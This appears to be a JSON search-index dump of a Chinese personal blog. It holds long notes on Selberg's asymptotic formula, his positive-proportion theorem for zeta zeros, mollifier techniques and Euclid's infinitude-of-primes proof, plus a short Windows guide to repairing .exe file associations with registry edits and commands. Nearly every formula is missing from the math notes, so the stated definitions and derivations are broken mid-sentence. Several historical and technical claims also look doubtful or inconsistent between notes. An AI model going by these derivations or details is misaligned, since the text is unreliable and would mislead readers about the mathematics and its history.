的统一理论进一步表明，这些倍乘公式可纳入递归可微函数的一般框架，其本质是函数空间在尺度变换下的自相似性。 这些公式的相似性源于复分析中递归关系与解析延拓的相互作用，是模结构普适性的具体体现。特殊函数的统一性研究可能引领我们发现所有特殊函数背后的最终规律。 … …"},{"title":"","date":"2025-12-26T06:33:00.000Z","updated":"2025-12-26T07:30:00.000Z","comments":true,"path":"notes/Zeta/96.html","permalink":"https://blog.mhuig.top/notes/Zeta/96","excerpt":"","text":"塞尔伯格渐近公式 塞尔伯格渐近公式：连接筛法理论与素数分布的关键桥梁 在解析数论的历史长河中，1949 年无疑是里程碑式的一年。年仅 32 岁的挪威数学家阿特勒・塞尔伯格（Atle Selberg）在二战期间几乎与世隔绝的环境下，不仅独立证明了黎曼 ζ 函数非平凡零点在临界线上的比例大于零，更以一个深刻的渐近公式为基础，与保罗・埃尔德什共同完成了素数定理的第一个初等证明。这个被后世称为 \"塞尔伯格渐近公式\" 的结果，不仅打破了 \"素数定理无法用实数域方法证明\" 的思维定式，更成为连接筛法理论与素数分布研究的关键桥梁，其思想至今仍深刻影响着张益唐对孪生素数猜想等问题的突破性工作。 历史背景与突破塞尔伯格的工作诞生于数论研究的特殊历史节点。自 1896 年阿达马（Jacques Hadamard）和瓦莱 - 普桑（Charles Jean de la Vallée-Poussin）利用复分析方法证明素数定理以来，数学界普遍认为该定理的证明必须依赖黎曼 ζ 函数在复数域的性质，尤其是其非平凡零点的分布。这种观念如此根深蒂固，以至于当塞尔伯格在 1948 年宣布发现初等证明时，许多资深数学家最初持怀疑态度。 这一突破的背景可追溯至两个关键脉络：一是筛法理论的演进，二是素数定理证明方法的革新。在筛法方面，塞尔伯格继承并超越了布朗（Viggo Brun）1919 年提出的组合筛法思路，布朗通过截断莫比乌斯函数和式 证明了 \"9 + 9\"（每个大偶数可表为两个至多含 9 个素因子的数之和），但误差控制能力有限。塞尔伯格创造性地引入二次型权重函数 ，通过极小化二次型 来优化筛函数估计，避免了传统筛法中正负项抵消的缺陷。这种方法后来被证明是 \"目前可以初步估计在一个小区间里素数分布之上界的唯一方法\"。 在素数定理证明方面，塞尔伯格的突破具有颠覆性意义。黎曼 1859 年的开创性论文建立了 ζ 函数零点与素数分布的深刻联系，但也将数论研究引入对复杂分析工具的高度依赖。塞尔伯格却通过构造一个关于曼戈尔特函数（von Mangoldt function） 的渐近公式，完全在实数域框架下实现了素数定理的证明。这一工作不仅验证了 \"回到问题出发点进行彻底思考\" 的学术价值，更启发了后来者如张益唐在研究孪生素数猜想时，正是借鉴了塞尔伯格通过调整估值结构来控制误差项的思想。 定义与数学表述塞尔伯格渐近公式的核心是建立素数分布函数之间的关键恒等式。其原始形式针对曼戈尔特函数 ，这一函数在素数幂 处取值 ，其他点取值为 0，是连接素数分布与解析函数的重要纽带。公式表述如下： 对于 ，有 其中左侧第一项为曼戈尔特函数的加权和，第二项为其自卷积的截断形式，右侧为主要渐近项与误差项。这一公式的深刻性在于：它完全规避了复分析工具，仅通过算术函数的组合与求和变换，就建立了素数分布的关键渐近关系。 为理解该公式的意义，需要引入相关数论函数的背景知识： 曼戈尔特函数 ：定义为 若 （ 素数， ），否则 。它与素数计数函数 的关系由 给出（切比雪夫函数），而素数定理等价于 。 卷积结构：公式左侧第二项 表示 与自身的 Dirichlet 卷积在 处的截断，反映了素数乘积的分布信息。 塞尔伯格公式的独特价值在于其 \"自洽性\"，它不依赖外部假设（如黎曼猜想），而是通过函数自身的算术性质建立渐近关系。这种内在协调性使其成为素数定理初等证明的 \"第一块基石\"。 推导过程：从二次型极小化到渐近展开塞尔伯格渐近公式的推导涉及筛法权重优化、算术函数变换和积分估计等多个层次，体现了塞尔伯格将分析技巧与数论直观相结合的独特风格。以下分三个关键步骤展开： 步骤一：塞尔伯格筛法的二次型构造塞尔伯格筛法的核心创新在于用非负二次型替代传统筛法的容斥原理。对于给定的数集 和筛函数 ，塞尔伯格引入权重 （仅对 非零），要求对所有 满足 ，并极小化二次型： 通过拉格朗日乘数法求解带约束条件的极值问题，得到最优权重 （其中 为筛法范围， 为参数）。这种构造使得筛函数估计 满足： 其中 ， 为三进除数函数， 为剩余项。这一步的关键是证明 ，从而主项具有明确的对数增长速率，为后续素数分布估计奠定基础。 步骤二：曼戈尔特函数的双曲型和式变换为建立 的渐近公式，塞尔伯格考虑双曲区域 上的二重和 。通过变量替换 （其中 ），并利用莫比乌斯反演公式 （当 ）或 （当 ），可将二重和转化为： 其中 为示性函数（当 真时为 1，否则为 0）。交换求和顺序并利用 （对 且 ）的性质，可分离出含 的线性项，为后续积分估计创造条件。 步骤三：分部积分与误差项控制完成和式变换后，塞尔伯格引入辅助函数 ，并通过分部积分将离散和转化为积分形式： 结合切比雪夫不等式 和素数分布的初步估计 ，可得到主项 。关键挑战在于控制误差项，塞尔伯格通过证明交叉项 ，最终得到： 这一过程的精妙之处在于误差项的 \"相互抵消\"，双曲和的二次项与对数加权项恰好形成 的主项，体现了数论函数的内在对称性。 应用与推广：从素数定理到筛法理论塞尔伯格渐近公式的影响远超其原始形式，它为解析数论提供了全新的方法论视角，并直接推动了多个领域的突破： 在素数定理初等证明中的核心作用1949 年，塞尔伯格与埃尔德什分别独立基于该渐近公式完成素数定理的初等证明。其关键步骤是从公式导出 ：通过定义 ，证明 。具体而言，利用公式两侧除以 后取极限，结合 和 ，可得到 。这一证明完全避免了复分析工具，震惊了当时数学界，\"当我们读完这历史上第一个素数定理的初等证明时，会发现其并不困难；而为什么素数定理的初等证明在复杂证明给出半世纪才给出？\" 对哥德巴赫猜想研究的推动塞尔伯格筛法的误差控制能力为哥德巴赫猜想研究提供了关键工具。1956 年，维诺格拉多夫利用塞尔伯格筛法证明 \"3 + 3\"（每个大偶数可表为两个至多含 3 个素因子的数之和）；1962 年，潘承洞通过改进塞尔伯格筛的权重函数得到 \"1 + 5\"；最终，陈景润 1973 年证明的 \"1 + 2\"（每个大偶数可表为一个素数与一个至多含 2 个素因子的数之和），其核心技术正是对塞尔伯格二次型权重的精细化调整，引入对数权重 放大素数贡献，并通过双层筛选控制误差项至 级别。 在临界线定理证明中的应用塞尔伯格 1942 年证明的 \"临界线定理\"（黎曼 ζ 函数非平凡零点在临界线 上的比例大于零）也间接依赖类似的渐近思想。通过构造 函数的二次均值 并建立其与零点计数函数的关系，塞尔伯格证明了存在常数 ，使得临界线上的零点比例至少为 。这一结果虽未解决黎曼猜想，却开创了通过均值估计研究零点分布的新方向，其技术路线与渐近公式中的二次型构造一脉相承。 方法论启示与历史地位塞尔伯格渐近公式的价值不仅体现在具体结论上，更在于它重塑了数论研究的思维范式。其方法论启示可概括为三点： 工具革新的勇气：面对 \"素数定理无法初等证明\" 的学界共识，塞尔伯格敢于打破对复分析工具的路径依赖。\"一列高级的工具，却也造成了种种思维定式，只有回到问题的出发点进行彻底思考的人，才能得到原创的方法\"。这种思维独立性在战时奥斯陆大学的孤立环境中得到强化，\"战时整个欧洲的数学新闻可以归结为一个词，那就是塞尔伯格！\" 交叉融合的智慧：塞尔伯格将分析中的二次型极小化、数论中的莫比乌斯反演和组合中的筛法思想熔于一炉。其权重函数设计既体现了分析学家对 \"光滑性\" 的追求（通过 实现渐变），又保留了数论函数的算术特性（莫比乌斯函数 的引入）。这种跨领域融合能力使其工作具有持久生命力。 误差控制的艺术：在筛法理论中，误差项的估计往往决定方法的成败。塞尔伯格通过二次型极小化将误差压缩至 ，这种 \"极致精确性\" 使其方法成为后续研究的基准，陈景润的 \"1 + 2\" 证明即承认 \"用筛法来证明最终的 '1 + 1' 的可能性已经很低了\"，从侧面印证了塞尔伯格方法的优化已接近理论极限。 从历史脉络看，塞尔伯格渐近公式处于数论发展的关键转折点：向上承接黎曼开创的解析数论传统，向下开启了初等方法与复杂分析并重的研究格局。它不仅为 1950 年代塞尔伯格获得菲尔兹奖奠定了基础，更通过筛法理论影响了从哥德巴赫猜想到孪生素数猜想的一系列核心问题。今天，当我们回顾张益唐 2013 年在孪生素数猜想上的突破时，仍能清晰看到塞尔伯格思想的印记，通过调整估值结构、优化权重函数来控制小区间素数分布的上界。 塞尔伯格的工作向我们展示：真正的数学突破不仅需要技术精湛，更需要打破常规的勇气和回归本源的智慧。在工具日益复杂的现代数学研究中，这种 \"以简驭繁\" 的精神，或许正是塞尔伯格渐近公式留给我们最宝贵的启示。"},{"title":"","date":"2025-12-29T08:06:00.000Z","updated":"2025-12-29T08:10:00.000Z","comments":true,"path":"notes/Zeta/97.html","permalink":"https://blog.mhuig.top/notes/Zeta/97","excerpt":"","text":"塞尔伯格 Zeta 函数非平凡零点的正密率 塞尔伯格 1942 年博士论文中 Zeta 函数非平凡零点正密率的证明 历史背景与突破1942 年，挪威数学家阿特勒・塞尔伯格（Atle Selberg）在纳粹占领挪威的艰难环境下完成了博士论文《论黎曼 函数的零点》，率先证明黎曼 函数的非平凡零点在临界线上具有正密度。这一结果打破了自 1921 年哈代 - 李特尔伍德（Hardy-Littlewood）定理以来近 20 年的研究停滞，首次从 \"无限多零点在临界线上\" 推进到 \"正比例零点在临界线上\"，为黎曼猜想的研究开辟了新路径。 塞尔伯格的工作环境极为特殊：二战期间，挪威学术资源断绝，大学人数锐减，外界期刊完全无法送达，塞尔伯格形容这种状态 \"像处在监狱里，主要依靠孤立研究完成了这一突破。与哈代 - 李特尔伍德使用的傅里叶分析方法不同，塞尔伯格创新性地引入\" 磨光函数 \" 技术，通过构造特殊的逼近函数克服了传统方法的局限性，最终证明存在常数 ，使得临界线上虚部绝对值小于 的零点数量 满足 。由于 是全体非平凡零点的渐近计数，这一结果等价于证明临界线上的零点占全体非平凡零点的比例为正，即存在 使得 。 核心定义与预备知识黎曼 函数与 函数黎曼 函数定义为 （ 时），其非平凡零点均位于临界带 内。为研究零点分布，通常引入整函数 ： 该函数满足对称性 ，且其零点与 函数的非平凡零点完全一致。令 ，则临界线上的零点对应实函数 的零点。 零点计数函数记： ：虚部绝对值小于 的非平凡零点总数，渐近公式为 ：虚部绝对值小于 且位于临界线 上的零点数量 塞尔伯格的核心结果是证明存在 ，当 充分大时 。 证明框架与关键思想塞尔伯格的证明基于以下创新思路：通过构造逼近函数 ，将对 的研究转化为对 的符号变化分析。其核心原理是：若连续函数 在区间 上的积分绝对值小于该区间上绝对值的积分，则 在该区间内至少变号一次，从而存在零点。 逼近函数的构造塞尔伯格首先定义 为 的 Dirichlet 级数系数： 其中 为积性函数，满足 且 。为改善收敛性，引入磨光系数： 由此构造逼近函数： 该函数的关键性质是其模平方 为非负权函数，用于放大 的符号变化。 核心积分的定义定义辅助函数： 其中 为待选参数。通过研究积分： 塞尔伯格证明当 时， 在 内必变号，从而存在零点。通过估计满足此条件的区间测度，最终得到 的下界。 关键步骤的详细推导 范数估计利用 Parseval 定理和 Fourier 变换，塞尔伯格得到 的估计式： 其中 ， 为 的 Fourier 变换。通过留数定理计算 ，并引入函数 处理积分余项，最终得到关键估计： 代入 的定义，可进一步证明 （当 选取适当时）。 测度估计与零点计数定义集合 ，表示 变号的区间。利用 Cauchy Schwarz 不等式： 左侧通过 控制，右侧需估计 的下界和 的上界。通过复杂计算，塞尔伯格证明当 充分大时， 的测度 ，其中 为常数。 将区间 划分为长度 的子区间 ，每个与 相交的子区间至少包含一个零点。由于 ，子区间总数约为 ，从而得到 。 后续发展与影响塞尔伯格的正密度结果开启了临界线零点比例研究的新时代。1949 年，他的方法被改进后，中国数学家闵嗣鹤证明了具体常数 ，即至少有 的非平凡零点位于临界线上。这一比例随后被不断改进：Levinson（1974）证明至少 的零点在临界线上，Conrey（1989）将结果推进到 。 塞尔伯格的磨光函数技术成为解析数论的基本工具，其思想被推广到 Dirichlet L 函数、模形式 L 函数等更一般的自守 L 函数研究中。他因博士论文中的这项工作及后续对筛法理论的贡献，于 1950 年获得菲尔兹奖，成为少数主要依靠博士论文成果获得该奖项的数学家。 从现代视角看，塞尔伯格的正密度定理不仅是黎曼猜想研究的里程碑，更启发了随机矩阵理论与数论的交叉研究，后者认为临界线零点的分布可能与随机酉矩阵的特征值分布相似（GUE 猜想）。这一跨越数学分支的深刻联系，正是始于塞尔伯格在二战阴影下的孤立探索。 结论塞尔伯格 1942 年的博士论文通过引入创新的磨光函数方法，首次证明黎曼 函数在临界线上的零点具有正密度，这一结果标志着解析数论从定性研究（\"是否存在无限多\"）向定量研究（\"占比多少\"）的关键转变。在极端困难的环境下，塞尔伯格不仅克服了技术障碍，更重塑了人们对 函数零点分布的认知框架。尽管黎曼猜想至今未被完全证明，但塞尔伯格的工作为后续研究奠定了方法论基础，其引入的逼近思想和积分估计技巧仍在现代数论研究中发挥核心作用。 这一成果也引发了深刻的哲学思考：当塞尔伯格证明临界线上的零点 \"占比为正\" 时，他实际上证明了黎曼猜想的 \"密度版本\" 即便猜想不成立，反例（不在临界线上的零点）也不可能 \"太多\"。这种从 \"例外集大小\" 角度研究数论问题的范式，已成为现代解析数论的标志性思维方式。"},{"title":"","date":"2025-12-29T08:55:00.000Z","updated":"2025-12-29T09:30:00.000Z","comments":true,"path":"notes/Zeta/98.html","permalink":"https://blog.mhuig.top/notes/Zeta/98","excerpt":"","text":"塞尔伯格磨光函数 塞尔伯格磨光函数：从分析工具到数论革命 引言：数论中的 \"光滑化\" 思想1942 年，挪威数学家阿特勒・塞尔伯格（Atle Selberg）在研究黎曼 ζ 函数零点分布时面临一个深刻挑战：ζ 函数在临界线附近的剧烈波动使得直接应用复分析工具变得困难。受实分析中卷积光滑化技术的启发，他构造了一种特殊的狄利克雷多项式修正因子（后称为 \"塞尔伯格磨光函数\"），通过与 ζ 函数相乘来 \"抚平\" 其零点附近的震荡，同时不改变零点位置。这一创新不仅推动他证明了 \"正比例非平凡零点位于临界线\" 的里程碑结果，更开创了分析数论中 \"通过近似把握精确\" 的方法。 从技术本质看，塞尔伯格磨光函数体现了数学中矛盾转化的深刻思想：将粗糙函数（如仅连续函数）转化为光滑函数，使微分、积分等工具得以应用，最终通过极限过程还原原问题的解。这种思想后来被推广到朗道 - 西格尔零点问题、Rankin-Selberg L 函数的次凸性估计等前沿领域。本文将系统梳理其数学构造、分析性质、数论应用及方法论价值，展现这一工具如何持续影响当代数论研究。 数学构造与分析基础磨光核的标准形式塞尔伯格磨光技术的基础是具有紧支集的光滑函数（磨光核）。在实分析中，典型的磨光核定义为： 其中 是归一化常数，满足 。这个函数的非凡之处在于：尽管在 处分段定义，却在整个实轴上无穷阶可导，且所有导数在端点处均为零。 关键分析性质的严格证明1. 无穷阶可导性对任意 ，证明 。考虑右极限 ，令 ，则 ，此时： 需要证明对任意 ， 。注意到 ，由归纳法可证各阶导数具有形式 （其中 为多项式）。而 对任意 成立，因为指数衰减速度快于多项式增长。 2. δ 函数逼近性质当 时， 满足： 对任意连续函数 ， 这一性质可通过变量替换和积分中值定理证明，表明磨光核构成近似单位（approximation to the identity）。 3. 导数继承性若 ，则 。证明直接由卷积导数公式给出： 当 仅连续时，通过稠密性论证仍可定义弱导数。 数论中的磨光函数：从狄利克雷多项式到零点密度塞尔伯格的核心构造：ζ 函数的 Mollifier在黎曼猜想研究中，塞尔伯格将实分析中的磨光思想推广到复变函数，构造了狄利克雷多项式形式的磨光因子。其基本形式为： 其中 为实系数，通常取 ， 是莫比乌斯函数， 是满足 和 的多项式， 控制磨光长度。 零点密度估计的关键步骤塞尔伯格通过分析 的二阶矩来估计临界线上的零点比例，具体步骤如下： 1. Littlewood 引理的应用考虑矩形区域内的零点计数函数 ，由 Littlewood 引理： 通过引入磨光函数 ，构造 ，使得 的零点包含 的零点，从而将零点计数转化为积分估计。 2. 二阶矩的关键估计核心积分 的估计需要展开平方项： 通过选择适当的 （如莫比乌斯函数与多项式乘积），可使主要项衰减足够快。 3. Selberg 零点密度定理的证明通过优化 的系数 ，塞尔伯格证明了： 这表明当 时，几乎所有零点都聚集在临界线附近。关键创新在于将变分法引入系数选择，通过最小化二次型 获得最优估计。 技术演进与当代发展从 Selberg 到 Conrey 的方法改进1989 年，Conrey 通过将磨光函数长度扩展到 ，证明了至少 40.88% 的零点在临界线上。其核心改进是引入加权多项式 ，使磨光因子能更好地匹配 函数的解析性质。 Feng Mollifier：扰动磨光技术2011 年，冯绍继提出双段磨光函数 ，其中 是对 的扰动项，用于抵消非对角项贡献。通过这种构造，将零点比例提升至 41.28%。其形式为： 其中 是附加多项式， 控制导数阶数。 长磨光函数的突破2020 年，Pratt 等人使用长度为 的磨光函数，将比例提升至 41.67%。其关键在于克服了 时的技术障碍，通过精细分析算术函数的卷积性质，控制了误差项的指数增长。 跨领域方法论价值与前沿应用PDE 正则性证明中的磨光技巧在偏微分方程中，磨光技术常用于证明弱解的正则性。例如，对 Navier-Stokes 方程的弱解 ，通过 构造光滑逼近序列，利用磨光核的紧支集性质证明能量不等式在极限下仍成立。 素数定理误差项的优化通过改良的零点密度估计 ，可以得到素数定理误差项的改进估计： 其中 ， 来自 Korobov-Vinogradov 零无区域。 朗道 - 西格尔零点问题的进展近期研究表明，通过调整磨光因子的 \"允许长度\"，可以得到 L 函数非平凡实零点的数量上界。具体而言，对模 的实特征 ，其对应的 L 函数 的实零点个数满足： 其中 ，这为解决朗道 - 西格尔问题提供了新思路。 结论：数学中的 \"近似精确\" 艺术塞尔伯格磨光函数展现了数学中 \"通过近似把握精确\" 的深刻思想。从实轴上的光滑核到复平面上的狄利克雷多项式，从零点密度估计到素数定理误差项优化，这一工具持续推动着数论与分析学的边界。其方法论启示在于：面对复杂问题时，适当的近似不仅是权宜之计，更能揭示问题的本质结构。 当代研究中，磨光技术正与随机矩阵理论、自守形式等领域深度融合。例如，通过将 L 函数族的矩估计与随机矩阵特征值的统计规律类比，研究者发现磨光后的矩行为与高斯正交系综（GOE）的预测高度吻合。这种跨学科对话或许将为黎曼猜想的最终解决提供关键线索。对于年轻学者，掌握这一工具不仅意味着获得解决具体问题的技术，更在于培养 \"构造性近似\" 的数学思维，这正是塞尔伯格留给我们的最宝贵遗产。"},{"title":"","date":"2025-12-29T12:10:00.000Z","updated":"2025-12-29T12:30:00.000Z","comments":true,"path":"notes/Zeta/99.html","permalink":"https://blog.mhuig.top/notes/Zeta/99","excerpt":"","text":"磨光技术 磨光技术在数论中的应用 磨光技术通过构造具有光滑性和紧支性的辅助函数，将数论问题中不连续或不规则的对象转化为可解析处理的形式。其核心思想源于数学分析中的函数逼近理论，最早由 Weierstrass 逼近定理奠定基础，后经 Dirichlet、Hardy Littlewood 等学者引入数论领域，最终在 Selberg 手中发展为系统方法，显著推动了素数分布、零点密度估计等核心问题的研究。 磨光函数的数学基础定义与基本构造磨光函数（Mollifier）是一类具有紧支集的光滑函数，其严格定义需满足三个条件：无穷次可微性、紧支集性质和单位积分归一化。在一维情形下，典型构造为： 若若 其中常数 由归一化条件 确定。这个函数在 处的所有导数均为零，展现出无穷光滑的特性，同时其支集（非零区域）被严格限制在区间 内，满足紧支集要求。通过尺度变换 ，可得到一族参数化磨光函数，当 时， 逼近 Dirac delta 函数。 卷积算子与正则化效应磨光技术的核心操作是卷积运算。对于局部可积函数 ，其磨光化结果定义为： 该运算具有关键性质：若 ，则 且 当 时。这意味着磨光过程能将粗糙函数转化为光滑函数，同时保持逼近精度。在数论中，这种正则化效应被用于处理具有跳跃间断的数论函数（如小数部分函数 ）和离散求和问题。 历史演进与关键突破早期发展：从分析到数论的跨越20 世纪初，Hardy 与 Littlewood 在研究哥德巴赫猜想时，首次尝试用积分平均替代离散求和，实质上是磨光技术的雏形应用。他们通过引入权函数 处理 型求和，避免了直接截断带来的边界效应。1930 年代，Selberg 在研究素数定理余项时，系统发展了带对数权的磨光方法，构造出形如： 的磨光 Dirichlet 级数，显著改善了截断误差估计，为后续零点密度研究奠定基础。这一突破表明，带权磨光比直接截断能更精确地逼近原级数，其渐近等价形式 揭示了数论函数在临界区域的精细结构。 现代发展：谱方法与自守形式1970 年代以来，随着非交换调和分析的发展，磨光技术与自守形式理论深度融合。Iwaniec 等学者将 Selberg 迹公式与磨光方法结合，通过构造自守 L 函数的磨光版本，成功估计了 Kloosterman 和的模平方均值。这一进展将磨光技术从经典 Dirichlet 级数推广到自守 L 函数领域，为 Langlands 纲领下的解析问题提供了新工具。 核心应用与推导实例应用一：带权 Perron 公式的改进Perron 公式是解析数论连接 Dirichlet 级数与数论函数的基本工具，传统形式为： 其中 。通过引入 Mellin 变换的磨光技巧，可得到更优的带权版本。设 为磨光 Dirichlet 多项式，取 ，则对 应用 Perron 公式，可将误差项改进为 ，当 且 时，显著优于传统估计。这种改进在素数分布的小区间问题中至关重要，能够有效控制余项中的指数因子。 应用二：小数部分和的指数和转化考虑数论中典型的部分和问题 ，其中 为小数部分函数。由于 在整数点的跳跃性，直接估计 极为困难。利用磨光技术，可构造光滑近似 ，使得： 通过 Fourier 展开 ，其中 为磨光函数的 Fourier 变换，可将原问题转化为指数和估计： 由于 对 成立（快速衰减性），上式中仅需考虑有限项 ，从而将无穷级数转化为可处理的有限指数和。这种转化是 Waring 问题、圆法等经典方法的关键步骤。 应用三：黎曼 函数零点密度估计零点密度函数 的估计是黎曼猜想研究的核心。传统方法通过对 积分得到 。利用 Selberg 磨光技巧，构造优化磨光函数 ，考虑加权积分： 通过选取 并优化参数 ，可证明当 时， ，显著改进了原有结果。特别地，当 时，该方法仍能保持 的精度，接近最优结果。 技术要点与进阶方向多参数磨光与自适应权函数实际应用中，常需根据问题特性设计特殊磨光函数。例如在 Dirichlet 多项式均值估计中，采用双参数磨光 ，通过调整 控制光滑性阶数。数值实验表明，当 时，对 的逼近误差最小，这与 Selberg 原始构造一致。 高维磨光与自守形式在高维数论问题（如二次型表示数）中，需将磨光技术推广至 。此时磨光函数定义为： 满足 。通过与自守形式的 Fourier 系数卷积，可研究算术流形上的谱分布，这一方向已成为 Langlands 纲领下的活跃领域。 总结与展望磨光技术通过光滑化与局部化的双重作用，为解析数论提供了处理离散连续转化问题的统一框架。从 Selberg 的带权 Dirichlet 级数到现代自守 L 函数的谱分析，其核心思想始终是：通过精心设计的辅助函数，平衡光滑性与逼近精度，从而揭示数论对象的深层结构。当前，该方法正与随机矩阵理论、代数几何等领域交叉融合，有望在 L 函数特殊值、BSD 猜想等问题中取得突破。未来研究的关键方向包括：高维自适应磨光构造、量子化磨光方法（结合非交换几何）以及计算复杂性视角下的磨光优化算法，这些进展将进一步拓展数论研究的边界。"},{"title":"","date":"2025-09-14T23:51:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/9.html","permalink":"https://blog.mhuig.top/notes/Zeta/9","excerpt":"","text":"Euclid 素数无限定理 Euclid 素数无限定理 目前有文献记载的最古老的素数无限证明源自古希腊数学家 Euclid 的数学名著《几何原本》。这一定理是《几何原本》中第九卷的命题 20。 Book 9 Proposition 20 Prime numbers are more than any assigned multitude of prime numbers. Euclid Euclid 手稿由君士坦丁堡帕特雷的阿雷萨斯书记员斯蒂芬于公元 888 年抄写。它保存在牛津大学博德利图书馆。 希腊语Οἱ πρῶτοι ἀριθμοὶ πλείους εἰσὶ παντὸς τοῦ προτεθέντος πλήθους πρώτων ἀριθμῶν. Ἔστωσαν οἱ προτεθέντες πρῶτοι ἀριθμοὶ οἱ Α, Β, Γ: λέγω, ὅτι τῶν Α, Β, Γ πλείους εἰσὶ πρῶτοι ἀριθμοί. Εἰλήφθω γὰρ ὁ ὑπὸ τῶν Α, Β, Γ ἐλάχιστος μετρούμενος καὶ ἔστω ὁ ΔΕ, καὶ προσκείσθω τῷ ΔΕ μονὰς ἡ ΔΖ. ὁ δὴ ΕΖ ἤτοι πρῶτός ἐστιν ἢ οὔ. ἔστω πρότερον πρῶτος: εὑρημένοι ἄρα εἰσὶ πρῶτοι ἀριθμοὶ οἱ Α, Β, Γ, ΕΖ πλείους τῶν Α, Β, Γ. Ἀλλὰ δὴ μὴ ἔστω ὁ ΕΖ πρῶτος: ὑπὸ πρώτου ἄρα τινὸς ἀριθμοῦ μετρεῖται. μετρείσθω ὑπὸ πρώτου τοῦ Η: λέγω, ὅτι ὁ Η οὐδενὶ τῶν Α, Β, Γ ἐστιν ὁ αὐτός. εἰ γὰρ δυνατόν, ἔστω. οἱ δὲ Α, Β, Γ τὸν ΔΕ μετροῦσιν: καὶ ὁ Η ἄρα τὸν ΔΕ μετρήσει. μετρεῖ δὲ καὶ τὸν ΕΖ: καὶ λοιπὴν τὴν ΔΖ μονάδα μετρήσει ὁ Η ἀριθμὸς ὤν: ὅπερ ἄτοπον. οὐκ ἄρα ὁ Η ἑνὶ τῶν Α, Β, Γ ἐστιν ὁ αὐτός. καὶ ὑπόκειται πρῶτος. εὑρημένοι ἄρα εἰσὶ πρῶτοι ἀριθμοὶ πλείους τοῦ προτεθέντος πλήθους τῶν Α, Β, Γ οἱ Α, Β, Γ, Η: ὅπερ ἔδει δεῖξαι. 英语Prime numbers are more than any assigned multitude of prime numbers. Let A, B, C be the assigned prime numbers; I say that there are more prime numbers than A, B, C. For let the least number measured by A, B, C be taken, and let it be DE; let the unit DF be added to DE. Then EF is either prime or not. First, let it be prime; then the prime numbers A, B, C, EF have been found which are more than A, B, C. Next, let EF not be prime; therefore it is measured by some prime number. Let it be measured by the prime number G. I say that G is not the same with any of the numbers A, B, C. For, if possible, let it be so. Now A, B, C measure DE; therefore G also will measure DE. But it also measures EF. Therefore G, being a number, will measure the remainder, the unit DF: which is absurd. Therefore G is not the same with any one of the numbers A, B, C. And by hypothesis it is prime. 中文质数的数量多于任何指定的质数的个数。设 A、B、C 为指定的质数；我断言质数的数量比 A、B、C 多。因为取 A、B、C 能量尽的最小数，设为 DE；在 DE 上加上单位 DF。那么 EF 要么是质数，要么不是。首先，设 EF 是质数；那么质数 A、B、C、EF 已被找到，且多于 A、B、C。其次，设 EF 不是质数；那么它能被某个质数量尽。设它能被质数 G 量尽。我断言 G 与 A、B、C 中的任何一个都不相同。因为，若有可能，设 G 与它们中的某一个相同。现在 A、B、C 能量尽 DE；所以 G 也能量尽 DE。但它也能量尽 EF。所以 G，作为一个数，将能量尽余数，即单位 DF：这是荒谬的。所以 G 与 A、B、C 中的任何一个都不相同。并且根据假设它是质数。 现代数学语言首先假设存在有限的素数集合，用 表示， 其中 是集合里最大的素数。 然后我们可以定义 是素数并且大于 ， 很明显 不能被 整除。 因此， 不能被任何素数整除， 所以它是一个素数并且大于 。 所以 不是一组完整的素数， 故而出现矛盾。 因此，“素数有有限个” 这一假设应被否定。 注意此证明并不说明 个素数的乘积与 的和是素数。 例如,"},{"title":"","date":"2025-10-30T00:23:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Windows/exe.html","permalink":"https://blog.mhuig.top/notes/Windows/exe","excerpt":"","text":"修复 exe 文件默认打开方式的错误关联 修复 exe 文件默认打开方式的错误关联 问题描述曾经相隔六年先后有两个人抱着电脑找过我去解决这个问题，因此有必要在这里记录一下。 起因是对 exe 文件右键菜单，更改打开方式，一个人把打开方式改成了 QQ，另一个人是把打开方式改成了暴风影音。错误地改完后再次右键发现没有更改打开方式的选项了。 于是乎无论打开任何 EXE 应用程序都会打开 QQ，就像中病毒了一样。甚至 win+R 打开 CMD 也会打开 QQ。很有喜剧效果。哈哈哈。 如何打开 CMD 和 注册表找到路径 C:\\Windows\\System32 把 cmd.exe 复制并改名为 cmd.com 然后打开 cmd.com 输入 regedit 即可打开注册表。 解决方案当 EXE 文件默认打开方式被错误关联到其他打开方式时，最快的修复方法是通过修改注册表恢复系统默认设置。以下是两种经过验证的解决方案，适用于 Windows 系统： 方法一：注册表修复法（推荐） 创建注册表修复文件 新建文本文档，复制以下代码（确保格式完整，无多余空格）： Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\\.exe]@=\"exefile\" [HKEY_CLASSES_ROOT\\exefile\\shell\\open\\command]@=\"\\\"%1\\\" %*\"\"IsolatedCommand\"=\"\\\"%1\\\" %*\" [-HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.exe][-HKEY_CURRENT_USER\\SOFTWARE\\Classes\\.exe] 保存为 修复EXE关联.reg （需在文件资源管理器中勾选 \"显示文件扩展名\"）。 重点在于最后两行，重点排查注册表中的 [HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.exe] 和 [HKEY_CURRENT_USER\\SOFTWARE\\Classes\\.exe] ，发现错误删除即可，因为这是错误添加的。 导入注册表 双击该文件，在弹出的确认窗口中选择 \"是\"，将配置写入系统注册表。此操作会重置 EXE 文件的默认关联，移除错误绑定。 方法二：命令行修复（适用于注册表无法打开时） 进入安全模式 例如对于 win7 重启电脑并反复按 F8 ，选择 \"安全模式\" 启动（部分系统需通过 \"高级启动选项\" 进入） 执行修复命令 打开命令提示符（管理员模式），输入以下命令并回车： assoc .exe=exefileftype exefile=\"%1\" %* 第一条命令恢复 EXE 文件类型关联，第二条设置正确的执行参数。 然后用命令提示符执行方法一修改注册表的操作。 reg delete \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.exe\" /freg delete \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\.exe\" /f 此处省略一万字。。。 注意事项图标缓存问题：修复后若图标显示异常，可通过批处理命令重置缓存： taskkill /f /im explorer.exedel %userprofile%\\AppData\\Local\\IconCache.db /astart explorer 将上述代码保存为 .bat 文件并双击执行。 修复完成后，所有 EXE 程序将恢复默认打开方式。"},{"title":"","date":"2025-09-14T02:55:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"notes/Zeta/index.html","permalink":"https://blog.mhuig.top/notes/Zeta/","excerpt":"Zeta Archive","text":"Zeta Archive Zeta Archive .prev-next{ display: none !important; 